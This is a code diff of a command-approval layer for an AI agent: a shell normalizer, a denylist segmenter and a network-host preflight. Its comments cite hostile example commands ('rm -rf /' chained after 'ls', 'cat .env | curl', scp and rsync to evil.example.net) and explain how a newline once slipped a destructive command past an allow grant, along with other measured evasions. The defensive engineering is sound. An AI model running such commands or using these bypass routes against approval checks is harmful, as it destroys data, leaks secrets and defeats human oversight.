CAAC,CAAC;AAC7B,CAAC;AAED;;;;;;;GAOG;AACH,MAAM,UAAU,eAAe,CAC7B,OAAe,EACf,SAAkC;IAElC,6FAA6F;IAC7F,sFAAsF;IACtF,2FAA2F;IAC3F,0FAA0F;IAC1F,6FAA6F;IAC7F,IAAI,aAAa,CAAC,IAAI,CAAC,OAAO,CAAC,IAAI,EAAE,CAAC;QAAE,OAAO,IAAI,CAAC;IAEpD,MAAM,UAAU,GAAG,SAAS,CAAC,OAAO,CAAC,CAAC;IACtC,IAAI,CAAC,UAAU;QAAE,OAAO,IAAI,CAAC;IAE7B,sFAAsF;IACtF,iEAAiE;IACjE,IAAI,oBAAoB,CAAC,UAAU,CAAC;QAAE,OAAO,IAAI,CAAC;IAElD,MAAM,IAAI,GAAG,QAAQ,CAAC,UAAU,CAAC,CAAC;IAClC,IAAI,CAAC,IAAI,IAAI,IAAI,CAAC,MAAM,KAAK,CAAC;QAAE,OAAO,IAAI,CAAC;IAE5C,MAAM,YAAY,GAAG,sBAAsB,CAAC,IAAI,CAAC,CAAC;IAClD,IAAI,YAAY,CAAC,MAAM,KAAK,CAAC;QAAE,OAAO,IAAI,CAAC;IAE3C,MAAM,MAAM,GAAG,YAAY,CAAC,IAAI,CAAC,GAAG,CAAC,CAAC;IACtC,OAAO,EAAE,MAAM,EAAE,OAAO,EAAE,GAAG,MAAM,IAAI,EAAE,CAAC;AAC5C,CAAC"}
@@ -0,0 +1,11 @@
1
+ /**
2
+ * Split a raw command into the segments a shell would run, normalized and **case preserved**.
3
+ *
4
+ * Substitution bodies are segments in their own right: `echo $(npm publish)` runs `npm publish`,
5
+ * so a deny entry for `npm publish` must see it. Splitting on `$(`, `` ` `` and `)` yields the
6
+ * body as its own segment (and leaves harmless empty fragments, which are dropped).
7
+ *
8
+ * Case is preserved because the matcher folds it per list and per matcher — a `regexp` entry is
9
+ * compiled exactly as the user wrote it, and folding here would decide that for it.
10
+ */
11
+ export declare function commandSegments(command: string): string[];
@@ -0,0 +1,37 @@
1
+ /**
2
+ * @module core/shell/denylist
3
+ *
4
+ * **Command segmentation** — splitting a command into every command a shell would actually run.
5
+ *
6
+ * This is what lets a restrictive rule (`deny`, `escalate`) see inside a compound command. The
7
+ * asymmetry it serves lives in `core/approvals/matcher.ts`, which is the one comparison engine:
8
+ *
9
+ * - **No allow entry matches a command that does not statically resolve.** Composition,
10
+ * substitution and redirection are a non-match for every allow entry, so a grant can never be
11
+ * extended with a `; rm -rf /`.
12
+ * - **A deny or escalate entry MAY match one**, and is compared against every segment as well as
13
+ * the whole string, because a prohibition that catches something unresolvable errs in the
14
+ * direction that costs nothing. Without that, `git push --force; ls` would sail straight past a
15
+ * declared deny entry for `git push --force` — a prohibition any trailing `; ls` defeats is not a
16
+ * prohibition.
17
+ */
18
+ import { COMMAND_SEPARATOR_CLASS, normalizeCommand } from '#src/core/shell/normalize.js';
19
+ /** Splits the normalized command at every point where a shell would begin a NEW command. */
20
+ const SEGMENT_SPLIT_RE = new RegExp(`[${COMMAND_SEPARATOR_CLASS}]|\\$\\(|\\)|\``, 'g');
21
+ /**
22
+ * Split a raw command into the segments a shell would run, normalized and **case preserved**.
23
+ *
24
+ * Substitution bodies are segments in their own right: `echo $(npm publish)` runs `npm publish`,
25
+ * so a deny entry for `npm publish` must see it. Splitting on `$(`, `` ` `` and `)` yields the
26
+ * body as its own segment (and leaves harmless empty fragments, which are dropped).
27
+ *
28
+ * Case is preserved because the matcher folds it per list and per matcher — a `regexp` entry is
29
+ * compiled exactly as the user wrote it, and folding here would decide that for it.
30
+ */
31
+ export function commandSegments(command) {
32
+ return normalizeCommand(command)
33
+ .split(SEGMENT_SPLIT_RE)
34
+ .map((segment) => segment.trim())
35
+ .filter((segment) => segment.length > 0);
36
+ }
37
+ //# sourceMappingURL=denylist.js.map
@@ -0,0 +1 @@
1
+ {"version":3,"file":"denylist.js","sourceRoot":"","sources":["../../../src/core/shell/denylist.ts"],"names":[],"mappings":"AAAA;;;;;;;;;;;;;;;;GAgBG;AACH,OAAO,EAAE,uBAAuB,EAAE,gBAAgB,EAAE,MAAM,8BAA8B,CAAC;AAEzF,4FAA4F;AAC5F,MAAM,gBAAgB,GAAG,IAAI,MAAM,CAAC,IAAI,uBAAuB,iBAAiB,EAAE,GAAG,CAAC,CAAC;AAEvF;;;;;;;;;GASG;AACH,MAAM,UAAU,eAAe,CAAC,OAAe;IAC7C,OAAO,gBAAgB,CAAC,OAAO,CAAC;SAC7B,KAAK,CAAC,gBAAgB,CAAC;SACvB,GAAG,CAAC,CAAC,OAAO,EAAE,EAAE,CAAC,OAAO,CAAC,IAAI,EAAE,CAAC;SAChC,MAAM,CAAC,CAAC,OAAO,EAAE,EAAE,CAAC,OAAO,CAAC,MAAM,GAAG,CAAC,CAAC,CAAC;AAC7C,CAAC"}
@@ -10,6 +10,34 @@
10
10
  *
11
11
  * Patterned after hermes-agent `tools/approval.py:_normalize_command_for_detection`.
12
12
  */
13
+ /**
14
+ * SECURITY / EXT-55 — the single source of truth for **where a new command begins**.
15
+ *
16
+ * This is a regex character-class BODY (embed it as `` `[${COMMAND_SEPARATOR_CLASS}]` ``) listing
17
+ * every character at which the shell stops one command and starts the next: `;`, `&` (hence
18
+ * `&&`), `|` (hence `||`), and a LINE BREAK. Both consumers of the normalized form build their
19
+ * patterns from it — the allow-list classifier's fail-closed check
20
+ * ({@link import('./arity.js').classifyCommand}) and the agent hardline blocklist's pattern
21
+ * terminators (`@gaunt-sloth/agent` `tools/shell/hardline`) — so the two layers can never again
22
+ * disagree about what a separator is.
23
+ *
24
+ * The layers disagreed before EXT-55: `;`/`&&`/`|` made a command ambiguous (fail-closed) but a
25
+ * newline did not, because {@link normalizeCommand} folded it to a SPACE. `ls -la\nrm -rf /` was
26
+ * therefore classified as the single command `ls`, and an ordinary `ls` grant auto-approved it.
27
+ *
28
+ * `\r` is listed defensively: {@link normalizeCommand} canonicalizes CR/CRLF to LF, so a
29
+ * normalized string never contains one — but a pattern matched against a RAW command still fails
30
+ * closed.
31
+ */
32
+ export declare const COMMAND_SEPARATOR_CLASS = ";&|\\n\\r";
33
+ /** {@link COMMAND_SEPARATOR_CLASS} as a ready-made single-character matcher. */
34
+ export declare const COMMAND_SEPARATOR_RE: RegExp;
35
+ /**
36
+ * Matches any line break — the separator {@link normalizeCommand} used to destroy (EXT-55).
37
+ * Exported so a caller can ask "is this more than one command?" of a RAW string without
38
+ * depending on someone else's normalizer having preserved the boundary.
39
+ */
40
+ export declare const LINE_BREAK_RE: RegExp;
13
41
  /**
14
42
  * Normalize a command string before dangerous-pattern matching.
15
43
  *
@@ -17,9 +45,21 @@
17
45
  * - strip ANSI escape sequences (CSI / OSC / lone-escape),
18
46
  * - drop null bytes,
19
47
  * - Unicode NFKC fold (fullwidth `rm` → `rm`, etc.),
48
+ * - canonicalize every line ending (CRLF / lone CR) to a bare `\n`,
20
49
  * - collapse shell backslash-escapes (`r\m` → `rm`, `\-rf` → `-rf`),
21
50
  * - drop empty-string literals that split tokens (`r''m` / `r""m` → `rm`),
22
- * - fold runs of whitespace (incl. tabs/newlines) to single spaces and trim.
51
+ * - fold runs of HORIZONTAL whitespace (spaces/tabs) to single spaces,
52
+ * - collapse each run of line breaks to a single `\n` — **which survives**, because a line break
53
+ * is a command separator, not padding (EXT-55) — and trim the ends.
54
+ *
55
+ * EXT-55: the last two steps used to be one `\s+ → ' '` fold, which erased the command boundary
56
+ * and let `ls -la\nrm -rf /` be read as the single command `ls`. A line break now reaches every
57
+ * consumer intact, exactly like `;`. Leading/trailing breaks are still trimmed, so the very
58
+ * common `"npm test\n"` tool argument remains ONE command and keeps matching the allow-list.
59
+ *
60
+ * A backslash before a line break (a shell line continuation) is deliberately NOT joined: folding
61
+ * it away would re-open the same hole for `ls \<newline>rm -rf /`. Keeping the boundary makes such
62
+ * a command categorically ambiguous, which costs a prompt, not a failure.
23
63
  *
24
64
  * This is intentionally lossy: the normalized form is ONLY used for detection,
25
65
  * never for execution (the original command is what runs).
@@ -19,6 +19,40 @@ const ANSI_OSC = /\x1b\][\s\S]*?(?:\x07|\x1b\\)/g;
19
19
  const ANSI_LONE = /\x1b[@-Z\\-_]?/g;
20
20
  // Null bytes.
21
21
  const NULL_BYTES = /\x00/g;
22
+ // Any line ending — CRLF, a lone CR, or a lone LF. Canonicalized to `\n` by normalizeCommand.
23
+ const LINE_ENDINGS = /\r\n?/g;
24
+ // A run of HORIZONTAL whitespace: whitespace that is not a line break (spaces, tabs, NBSP, …).
25
+ const HORIZONTAL_WS = /[^\S\n]+/g;
26
+ // A run of line breaks together with any whitespace around it.
27
+ const LINE_BREAK_RUN = /\s*\n\s*/g;
28
+ /**
29
+ * SECURITY / EXT-55 — the single source of truth for **where a new command begins**.
30
+ *
31
+ * This is a regex character-class BODY (embed it as `` `[${COMMAND_SEPARATOR_CLASS}]` ``) listing
32
+ * every character at which the shell stops one command and starts the next: `;`, `&` (hence
33
+ * `&&`), `|` (hence `||`), and a LINE BREAK. Both consumers of the normalized form build their
34
+ * patterns from it — the allow-list classifier's fail-closed check
35
+ * ({@link import('./arity.js').classifyCommand}) and the agent hardline blocklist's pattern
36
+ * terminators (`@gaunt-sloth/agent` `tools/shell/hardline`) — so the two layers can never again
37
+ * disagree about what a separator is.
38
+ *
39
+ * The layers disagreed before EXT-55: `;`/`&&`/`|` made a command ambiguous (fail-closed) but a
40
+ * newline did not, because {@link normalizeCommand} folded it to a SPACE. `ls -la\nrm -rf /` was
41
+ * therefore classified as the single command `ls`, and an ordinary `ls` grant auto-approved it.
42
+ *
43
+ * `\r` is listed defensively: {@link normalizeCommand} canonicalizes CR/CRLF to LF, so a
44
+ * normalized string never contains one — but a pattern matched against a RAW command still fails
45
+ * closed.
46
+ */
47
+ export const COMMAND_SEPARATOR_CLASS = ';&|\\n\\r';
48
+ /** {@link COMMAND_SEPARATOR_CLASS} as a ready-made single-character matcher. */
49
+ export const COMMAND_SEPARATOR_RE = new RegExp(`[${COMMAND_SEPARATOR_CLASS}]`);
50
+ /**
51
+ * Matches any line break — the separator {@link normalizeCommand} used to destroy (EXT-55).
52
+ * Exported so a caller can ask "is this more than one command?" of a RAW string without
53
+ * depending on someone else's normalizer having preserved the boundary.
54
+ */
55
+ export const LINE_BREAK_RE = /[\n\r]/;
22
56
  /**
23
57
  * Normalize a command string before dangerous-pattern matching.
24
58
  *
@@ -26,9 +60,21 @@ const NULL_BYTES = /\x00/g;
26
60
  * - strip ANSI escape sequences (CSI / OSC / lone-escape),
27
61
  * - drop null bytes,
28
62
  * - Unicode NFKC fold (fullwidth `rm` → `rm`, etc.),
63
+ * - canonicalize every line ending (CRLF / lone CR) to a bare `\n`,
29
64
  * - collapse shell backslash-escapes (`r\m` → `rm`, `\-rf` → `-rf`),
30
65
  * - drop empty-string literals that split tokens (`r''m` / `r""m` → `rm`),
31
- * - fold runs of whitespace (incl. tabs/newlines) to single spaces and trim.
66
+ * - fold runs of HORIZONTAL whitespace (spaces/tabs) to single spaces,
67
+ * - collapse each run of line breaks to a single `\n` — **which survives**, because a line break
68
+ * is a command separator, not padding (EXT-55) — and trim the ends.
69
+ *
70
+ * EXT-55: the last two steps used to be one `\s+ → ' '` fold, which erased the command boundary
71
+ * and let `ls -la\nrm -rf /` be read as the single command `ls`. A line break now reaches every
72
+ * consumer intact, exactly like `;`. Leading/trailing breaks are still trimmed, so the very
73
+ * common `"npm test\n"` tool argument remains ONE command and keeps matching the allow-list.
74
+ *
75
+ * A backslash before a line break (a shell line continuation) is deliberately NOT joined: folding
76
+ * it away would re-open the same hole for `ls \<newline>rm -rf /`. Keeping the boundary makes such
77
+ * a command categorically ambiguous, which costs a prompt, not a failure.
32
78
  *
33
79
  * This is intentionally lossy: the normalized form is ONLY used for detection,
34
80
  * never for execution (the original command is what runs).
@@ -41,13 +87,21 @@ export function normalizeCommand(command) {
41
87
  c = c.replace(NULL_BYTES, '');
42
88
  // Unicode compatibility fold (fullwidth → ASCII, etc.).
43
89
  c = c.normalize('NFKC');
90
+ // EXT-55: canonicalize line endings FIRST so CR and CRLF are the same separator as LF for every
91
+ // step below (and for every consumer of the normalized form).
92
+ c = c.replace(LINE_ENDINGS, '\n');
44
93
  // Collapse backslash-escapes: `\x` → `x` (prevents `r\m -rf /` bypass).
45
94
  // Applied before empty-string stripping so `r\m` and `r''m` both fold.
95
+ // `[^\n]` keeps a backslash line-continuation intact — see the docblock.
46
96
  c = c.replace(/\\([^\n])/g, '$1');
47
97
  // Drop empty-string literals used to split a token: `r''m` / `r""m` → `rm`.
48
98
  c = c.replace(/''|""/g, '');
49
- // Fold all whitespace runs (spaces, tabs, newlines) to a single space, trim.
50
- c = c.replace(/\s+/g, ' ').trim();
51
- return c;
99
+ // Fold runs of horizontal whitespace to a single space
100
+ c = c.replace(HORIZONTAL_WS, ' ');
101
+ // …then collapse each run of line breaks (with the whitespace around it) to a single `\n`,
102
+ // which SURVIVES normalization as the command separator it is (EXT-55).
103
+ c = c.replace(LINE_BREAK_RUN, '\n');
104
+ // Trim the ends — including a leading/trailing break, which separates nothing.
105
+ return c.trim();
52
106
  }
53
107
  //# sourceMappingURL=normalize.js.map
@@ -1 +1 @@
1
- {"version":3,"file":"normalize.js","sourceRoot":"","sources":["../../../src/core/shell/normalize.ts"],"names":[],"mappings":"AAAA;;;;;;;;;;;GAWG;AAEH,uEAAuE;AACvE,yCAAyC;AACzC,MAAM,QAAQ,GAAG,0BAA0B,CAAC;AAC5C,kDAAkD;AAClD,MAAM,QAAQ,GAAG,gCAAgC,CAAC;AAClD,8DAA8D;AAC9D,MAAM,SAAS,GAAG,iBAAiB,CAAC;AACpC,cAAc;AACd,MAAM,UAAU,GAAG,OAAO,CAAC;AAE3B;;;;;;;;;;;;;GAaG;AACH,MAAM,UAAU,gBAAgB,CAAC,OAAe;IAC9C,IAAI,CAAC,GAAG,OAAO,CAAC;IAChB,CAAC,GAAG,CAAC,CAAC,OAAO,CAAC,QAAQ,EAAE,EAAE,CAAC,CAAC;IAC5B,CAAC,GAAG,CAAC,CAAC,OAAO,CAAC,QAAQ,EAAE,EAAE,CAAC,CAAC;IAC5B,CAAC,GAAG,CAAC,CAAC,OAAO,CAAC,SAAS,EAAE,EAAE,CAAC,CAAC;IAC7B,CAAC,GAAG,CAAC,CAAC,OAAO,CAAC,UAAU,EAAE,EAAE,CAAC,CAAC;IAC9B,wDAAwD;IACxD,CAAC,GAAG,CAAC,CAAC,SAAS,CAAC,MAAM,CAAC,CAAC;IACxB,wEAAwE;IACxE,uEAAuE;IACvE,CAAC,GAAG,CAAC,CAAC,OAAO,CAAC,YAAY,EAAE,IAAI,CAAC,CAAC;IAClC,4EAA4E;IAC5E,CAAC,GAAG,CAAC,CAAC,OAAO,CAAC,QAAQ,EAAE,EAAE,CAAC,CAAC;IAC5B,6EAA6E;IAC7E,CAAC,GAAG,CAAC,CAAC,OAAO,CAAC,MAAM,EAAE,GAAG,CAAC,CAAC,IAAI,EAAE,CAAC;IAClC,OAAO,CAAC,CAAC;AACX,CAAC"}
1
+ {"version":3,"file":"normalize.js","sourceRoot":"","sources":["../../../src/core/shell/normalize.ts"],"names":[],"mappings":"AAAA;;;;;;;;;;;GAWG;AAEH,uEAAuE;AACvE,yCAAyC;AACzC,MAAM,QAAQ,GAAG,0BAA0B,CAAC;AAC5C,kDAAkD;AAClD,MAAM,QAAQ,GAAG,gCAAgC,CAAC;AAClD,8DAA8D;AAC9D,MAAM,SAAS,GAAG,iBAAiB,CAAC;AACpC,cAAc;AACd,MAAM,UAAU,GAAG,OAAO,CAAC;AAC3B,8FAA8F;AAC9F,MAAM,YAAY,GAAG,QAAQ,CAAC;AAC9B,+FAA+F;AAC/F,MAAM,aAAa,GAAG,WAAW,CAAC;AAClC,+DAA+D;AAC/D,MAAM,cAAc,GAAG,WAAW,CAAC;AAEnC;;;;;;;;;;;;;;;;;;GAkBG;AACH,MAAM,CAAC,MAAM,uBAAuB,GAAG,WAAW,CAAC;AAEnD,gFAAgF;AAChF,MAAM,CAAC,MAAM,oBAAoB,GAAG,IAAI,MAAM,CAAC,IAAI,uBAAuB,GAAG,CAAC,CAAC;AAE/E;;;;GAIG;AACH,MAAM,CAAC,MAAM,aAAa,GAAG,QAAQ,CAAC;AAEtC;;;;;;;;;;;;;;;;;;;;;;;;;GAyBG;AACH,MAAM,UAAU,gBAAgB,CAAC,OAAe;IAC9C,IAAI,CAAC,GAAG,OAAO,CAAC;IAChB,CAAC,GAAG,CAAC,CAAC,OAAO,CAAC,QAAQ,EAAE,EAAE,CAAC,CAAC;IAC5B,CAAC,GAAG,CAAC,CAAC,OAAO,CAAC,QAAQ,EAAE,EAAE,CAAC,CAAC;IAC5B,CAAC,GAAG,CAAC,CAAC,OAAO,CAAC,SAAS,EAAE,EAAE,CAAC,CAAC;IAC7B,CAAC,GAAG,CAAC,CAAC,OAAO,CAAC,UAAU,EAAE,EAAE,CAAC,CAAC;IAC9B,wDAAwD;IACxD,CAAC,GAAG,CAAC,CAAC,SAAS,CAAC,MAAM,CAAC,CAAC;IACxB,gGAAgG;IAChG,8DAA8D;IAC9D,CAAC,GAAG,CAAC,CAAC,OAAO,CAAC,YAAY,EAAE,IAAI,CAAC,CAAC;IAClC,wEAAwE;IACxE,uEAAuE;IACvE,yEAAyE;IACzE,CAAC,GAAG,CAAC,CAAC,OAAO,CAAC,YAAY,EAAE,IAAI,CAAC,CAAC;IAClC,4EAA4E;IAC5E,CAAC,GAAG,CAAC,CAAC,OAAO,CAAC,QAAQ,EAAE,EAAE,CAAC,CAAC;IAC5B,wDAAwD;IACxD,CAAC,GAAG,CAAC,CAAC,OAAO,CAAC,aAAa,EAAE,GAAG,CAAC,CAAC;IAClC,2FAA2F;IAC3F,wEAAwE;IACxE,CAAC,GAAG,CAAC,CAAC,OAAO,CAAC,cAAc,EAAE,IAAI,CAAC,CAAC;IACpC,+EAA+E;IAC/E,OAAO,CAAC,CAAC,IAAI,EAAE,CAAC;AAClB,CAAC"}
@@ -0,0 +1,138 @@
1
+ /**
2
+ * @module core/shell/openWorld
3
+ *
4
+ * EXT-61 (spec §4.6) — the **open-world preflight**: a deterministic, model-free check for a
5
+ * **host literal in a fetch/transfer position**. A command that carries one is floored at
6
+ * `destructive` before the rater is ever called ({@link import('./rater.js').mapVerdictToAction}),
7
+ * so it is always asked about and can never be auto-approved.
8
+ *
9
+ * ## Why this is not a trust judgement, and must never become one
10
+ *
11
+ * §4.1.1(4) asks the rater to tell `registry.npmjs.org` from `registry.npmjs.ag`. **Both a cheap
12
+ * model and a working developer were measured failing exactly that** — the developer flagged the
13
+ * *genuine* registry as destructive, i.e. did not discriminate hostnames in either direction. This
14
+ * preflight does not answer that question, it **deletes** it: both hostnames floor, both are asked
15
+ * about, and no misreading of a hostname can produce an auto-approve.
16
+ *
17
+ * It therefore needs **no list of good hosts**, and that is precisely what makes it immune to the
18
+ * attack it defends against — there is nothing to spoof into. If host trust is ever wanted it MUST
19
+ * be a deterministic exact-match list in code (§4.1.1), never a model call. The user-facing escape
20
+ * hatch already exists and is `approvals.allow` (§3), which is consulted *before* the rater and
21
+ * therefore before this.
22
+ *
23
+ * ## THE ERROR COST IS INVERTED RELATIVE TO THE §8 HARDLINE — read this before editing
24
+ *
25
+ * The hardline **refuses**, unappealably, under every rung including `bypass`, so a false positive
26
+ * there is unrecoverable and EXT-60 correctly narrowed its patterns until they were gone, accepting
27
+ * misses. **This preflight only RAISES.** It floors at `destructive`, which means the user is
28
+ * *asked*. So:
29
+ *
30
+ * - a **false positive costs one prompt** — annoying, recoverable, visible;
31
+ * - an **evasion costs the whole point of the node**, because the rater then decides alone on a host
32
+ * literal, which is the discrimination both a cheap model and a working developer were measured
33
+ * failing.
34
+ *
35
+ * **So this layer errs toward OVER-matching.** That is the opposite of the hardline's calculus, and
36
+ * it is why the shapes below prefer "any operand is a listed git subcommand" over enumerating git's
37
+ * arg-taking global flags: an enumeration closes today's hole and reopens it for the next flag added
38
+ * upstream. The one hard limit is unchanged and non-negotiable: **never fire on the mere presence of
39
+ * a URL anywhere in the string**, because `git commit -m "closes https://…"` must stay silent.
40
+ *
41
+ * ## The shape of the matcher
42
+ *
43
+ * Ported from the measured prototype (`project-takahe _spikes/open-world-preflight/`).
44
+ *
45
+ * 1. **Decline on anything unclassifiable.** {@link classifyCommand} returns `null` on any
46
+ * composition (separator, line break, `$(…)`, backtick, redirection), and the *ambiguity*
47
+ * preflight already floors those. So this matcher never has to parse a hard command — and it
48
+ * must not claim the finding, because "it names a host" would be a worse (and possibly false)
49
+ * explanation than "its target cannot be statically resolved".
50
+ * 2. **Step past wrappers** (`sudo -u root`, `env FOO=1`, `nohup --`, …) to the head.
51
+ * 3. **Look the head up** in {@link NETWORK_HEADS}, keyed by *where a host may legitimately appear*.
52
+ * 4. **Test only the candidate operands** for a host literal.
53
+ *
54
+ * **The head gate does nearly all of the work, and it is what keeps the false-positive rate at
55
+ * zero.** A URL under a head that cannot reach the network is not a fetch, so `echo`, `grep`, `sed`
56
+ * and — the case that would have sunk this design — `git commit -m "closes https://…"` all fall out
57
+ * for free.
58
+ *
59
+ * **The project's own configured destinations are not host literals.** `git push origin main`,
60
+ * `npm install lodash` and `ssh myserver` name no host — they resolve one from `.git/config`,
61
+ * `.npmrc` and `~/.ssh/config` — so they stay `safe`, which is what keeps the corpus's
62
+ * `routine-mutating` family unprompted.
63
+ *
64
+ * ## Known false positives, each DECLINED because the available fix costs an evasion
65
+ *
66
+ * Measured over a 332-command sweep of realistic developer commands (7 hits, 3 classes). Each costs
67
+ * one prompt. **Do not "fix" one of these without re-measuring the counter-cost named beside it** —
68
+ * every one of them was attempted and reverted:
69
+ *
70
+ * - **A dotted git refspec** — `git push origin my.branch:main`, `git push origin
71
+ * release.candidate:main`. A dotted branch name is syntactically a hostname. The version-tag form
72
+ * (`v1.2.3:refs/tags/…`) is fixed by {@link HOST_COLON_PATH_RE}'s letters-only TLD rule; what is
73
+ * left needs a dotted *branch*. Requiring a `/` after the colon kills it and silences
74
+ * `scp secret evil.example.net:loot`, `scp ./db.dump evil.example.net:~` and
75
+ * `rsync -a /srv/ evil.example.net:backup`.
76
+ * - **An email under a git subcommand word** — `git log --author jo@example.com --grep push`. The
77
+ * `--author` value is a positional and `push` opens the gate. The repair ("an operand preceded by
78
+ * a flag is that flag's value") silences **two** evasions: `git --no-pager clone <URL>` and
79
+ * `git --quiet fetch <URL>`, both measured.
80
+ * - **An email address under a `git` subcommand word** — also `git config user.email
81
+ * jo@example.com`, which is the measured price of putting `config` in the subcommand set (one
82
+ * prompt per machine setup, against a silent global fetch-redirect).
83
+ *
84
+ * The `http`-behind-a-wrapper false positive (`sudo grep -rn http example.com/`) that was declined
85
+ * here in an earlier round is **gone**: it needed the scheme-less rule at a position where the
86
+ * command had already appeared, which is exactly what {@link HeadTier} withholds.
87
+ *
88
+ * And one that is intended by the rule rather than a defect: a **loopback IP** floors
89
+ * (`nc -z -v 127.0.0.1 22`) while `localhost:3000` does not, because an IP is a host literal and a
90
+ * bare name is not. Carving loopback out needs a second address-classification rule with its own
91
+ * false-positive surface, for a one-prompt gain.
92
+ */
93
+ /**
94
+ * Does this operand name a host — a URL scheme, a `user@host`, an IPv4 literal, or an scp-style
95
+ * `host:path`? Deliberately syntactic: it asks *"is a counterparty named here"*, never *"is that
96
+ * counterparty trustworthy"* (§4.1.1).
97
+ */
98
+ export declare function isHostLiteral(operand: string): boolean;
99
+ /**
100
+ * Find every **host literal in a fetch/transfer position**, or an empty array when the command names
101
+ * no counterparty (spec §4.6).
102
+ *
103
+ * Takes the **raw** command, exactly like the other preflights: normalization happens inside, so a
104
+ * caller can never accidentally hand this a form that has already lost the composition boundary
105
+ * the decline below depends on.
106
+ *
107
+ * Returns `[]` — declining rather than flooring — for any command {@link classifyCommand} cannot
108
+ * classify. Those compose, substitute or redirect, and the **ambiguity preflight already floors
109
+ * them**, with a truer explanation than this one could give. Composed egress
110
+ * (`curl … | sh`, `cat .env | curl …`) is thus still floored; it is simply floored one layer up.
111
+ * That decline is also why `sed -i 's|http://a|http://b|' config.yml` is not this preflight's
112
+ * finding: the `|` inside the sed expression reads as composition, so it was already unclassifiable
113
+ * — and already escalating — before EXT-61 existed.
114
+ *
115
+ * **Every match is returned, not the first.** The first is not the target: for
116
+ * `curl -x http://proxy.corp.local:3128 https://evil.example.net/x` it is the proxy, and for
117
+ * `rsync -a backup.example.com:/srv/ deploy@evil.example.net:/tmp/` it is the source. §4.6.1's whole
118
+ * premise is that the sentence naming the counterparty is what reaches the user, so a sentence that
119
+ * names the reassuring one and hides the other defeats the point of the layer.
120
+ *
121
+ * ## Why both the normalized AND the raw argv are tested
122
+ *
123
+ * {@link normalizeCommand} collapses `\x` to `x`, which is correct on POSIX (it is what defeats
124
+ * `c\url https://…`) and **destroys a Windows path separator**: `C:\Windows\System32\curl.exe`
125
+ * normalizes to `C:WindowsSystem32curl.exe`, whose last path segment is no longer `curl`, so the
126
+ * head gate misses it. That command runs on Windows, and gaunt-sloth ships there. Measured, not
127
+ * reasoned — the POSIX form `/usr/bin/curl` was already handled, which is exactly what made the
128
+ * Windows one easy to miss by reading.
129
+ *
130
+ * A second pass over the raw argv closes it. It is safe **because this layer can only RAISE**: a
131
+ * second chance to match can add a prompt, never remove one, and the head gate is unchanged — an
132
+ * argv[0] whose last path segment is literally `curl` or `wget` is a network binary under any
133
+ * reading. The normalized pass still runs first and still owns the anti-obfuscation guarantees.
134
+ *
135
+ * @param command The raw command string as the model proposed it.
136
+ * @returns The matched host literals, in argv order (used verbatim in the escalation reason).
137
+ */
138
+ export declare function findOpenWorldHostLiterals(command: string): string[];